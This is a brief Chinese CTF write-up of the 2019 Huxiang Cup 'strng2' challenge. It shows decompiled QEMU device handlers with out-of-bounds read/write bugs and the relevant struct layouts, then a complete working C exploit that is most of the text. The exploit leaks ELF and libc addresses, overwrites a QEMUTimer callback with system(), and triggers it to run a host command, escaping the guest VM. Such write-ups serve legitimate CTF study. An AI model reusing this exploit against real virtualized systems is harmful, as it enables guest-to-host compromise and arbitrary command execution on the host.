2019 湖湘杯 pwn strng2

稍做记录

uint64_t __cdecl strng_mmio_read(struct STRNGState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax

  if ( size != 4 || addr & 3 )
    result = -1LL;
  else
    result = opaque->regs[addr>>2]; //oob read
  return result;
}

void __cdecl strng_pmio_write(struct STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  int64_t v4; // rax
  uint32_t saddr; // [rsp+24h] [rbp-Ch]

  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 && !(opaque->addr & 3) )
      {
        saddr = opaque->addr >> 2;
        if ( saddr == 1 )
        {
          opaque->regs[1] = rand();
        }
        else if ( saddr < 1 )
        {
          srand(val);
        }
        else if ( saddr == 3 )
        {
          opaque->regs[3] = rand_r(&opaque->regs[2]);
        }
        else
        {
          opaque->regs[saddr] = val; // oob write
          if ( opaque->flag )
          {
            v4 = qemu_clock_get_ms_4(QEMU_CLOCK_VIRTUAL_0);
            timer_mod(&opaque->strng_timer, v4 + 100);
          }
        }
      }
    }
    else
    {
      opaque->addr = val;
    }
  }
}

漏洞在mmio_read与mmio_write
一个越界读,一个越界写。

漏洞的利用思路
要利用strngdata结构体

00000000 STRNGState      struc ; (sizeof=0xC30, align=0x10, copyof_1437)
00000000 pdev            PCIDevice_0 ?
000008F0 mmio            MemoryRegion_0 ?
000009F0 pmio            MemoryRegion_0 ?
00000AF0 addr            dd ?
00000AF4 flag            dd ?
00000AF8 regs            dd 64 dup(?)
00000BF8 strng_timer     QEMUTimer_0 ?
00000C28                 db ? ; undefined
00000C29                 db ? ; undefined
00000C2A                 db ? ; undefined
00000C2B                 db ? ; undefined
00000C2C                 db ? ; undefined
00000C2D                 db ? ; undefined
00000C2E                 db ? ; undefined
00000C2F                 db ? ; undefined
00000C30 STRNGState      ends

00000000 QEMUTimer_0     struc ; (sizeof=0x30, align=0x8, copyof_506)
00000000                                         ; XREF: IscsiTask/r
00000000                                         ; STRNGState/r
00000000 expire_time     dq ?
00000008 timer_list      dq ?                    ; offset
00000010 cb              dq ?                    ; offset
00000018 opaque          dq ?                    ; offset
00000020 next            dq ?                    ; offset
00000028 scale           dd ?
0000002C                 db ? ; undefined
0000002D                 db ? ; undefined
0000002E                 db ? ; undefined
0000002F                 db ? ; undefined
00000030 QEMUTimer_0     ends

结构体最后一项qemutimer结构体里面很多指针,我们可以泄露基地址。
然后劫持cb函数指针,system的plt地址整上即可。
这都是常规思路了
在之前的vexx等等中都有提及。

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

#define MMIO_FILE "/sys/devices/pci0000:00/0000:00:04.0/resource0"
#define PMIO_BASE 0xc050
char* MMIO_BASE;

void die(char* msg){
    perror(msg);
    exit(-1);
}

void init_io(){
    int mmio_fd = open(MMIO_FILE, O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("open mmio file error");
    MMIO_BASE = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (MMIO_BASE == MAP_FAILED)
        die("mmap mmio file failed");
    if (iopl(3) != 0)
        die("io permission requeset failed");
}

uint32_t pmio_read(uint32_t offset){
    return (uint32_t)inl(PMIO_BASE + offset);
}

void pmio_write(uint32_t offset, uint32_t val){
    outl(val, PMIO_BASE + offset);
}

uint32_t mmio_read(uint32_t offset){
    return *(uint32_t *)(MMIO_BASE + offset);
}

void mmio_write(uint32_t offset, uint32_t val){
    *(uint32_t *)(MMIO_BASE + offset) = val;
}

uint32_t pmio_oob_read(uint32_t offset) {
    pmio_write(0, offset);
    return pmio_read(4);
}

void pmio_oob_write(uint32_t offset, uint32_t val){
    pmio_write(0, offset);
    pmio_write(4, val);
}
/*
cat /root/flag 
0x20746163
0x6f6f722f
0x6c662f74
0x00006761
*/

int main(int argc, char **argv){
    uint64_t elf_base, state_addr, libc_base, system_addr;
    uint32_t reg_offset = 0xaf8;
    init_io();

    mmio_write(0x10, 0x20746163);
    mmio_write(0x14, 0x6f6f722f);
    mmio_write(0x18, 0x6c662f74);
    mmio_write(0x1c, 0x00006761);
    elf_base = pmio_oob_read(0xc0c-reg_offset);
    elf_base <<= 32;
    elf_base |= pmio_oob_read(0xc08-reg_offset);
    elf_base -= 0x29ac8e;
    printf("elf_base : %#llxn", elf_base);

    state_addr = pmio_oob_read(0xc14-reg_offset);
    state_addr <<= 32;
    state_addr |= pmio_oob_read(0xc10-reg_offset);
    printf("state_addr : %#llxn", state_addr);

    libc_base = pmio_oob_read(0x7698+4-reg_offset);
    libc_base <<= 32;
    libc_base |= pmio_oob_read(0x7698-reg_offset);
    libc_base -= 0x3c4b78;
    printf("libc_base : %#llxn", libc_base);
    system_addr = libc_base+0x45390;

    // overwrite cb function ptr
    pmio_oob_write(0xc0c-reg_offset, (uint32_t)(system_addr>>32));
    pmio_oob_write(0xc08-reg_offset, (uint32_t)(system_addr&0xffffffff));

    // overwrite function's argument
    pmio_oob_write(0xc14-reg_offset, (uint32_t)((state_addr+0xb08) >> 32));
    pmio_oob_write(0xc10-reg_offset, (uint32_t)((state_addr+0xb08) & (0xffffffff)));

    // trigger timer -> call-back function
    mmio_write(0x20, 0);
    pmio_oob_write(0, 0);

    sleep(1);

    return 0;

}

代码是嫖的pu1p大佬的
泄露了libc,但是其实没必要啦。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值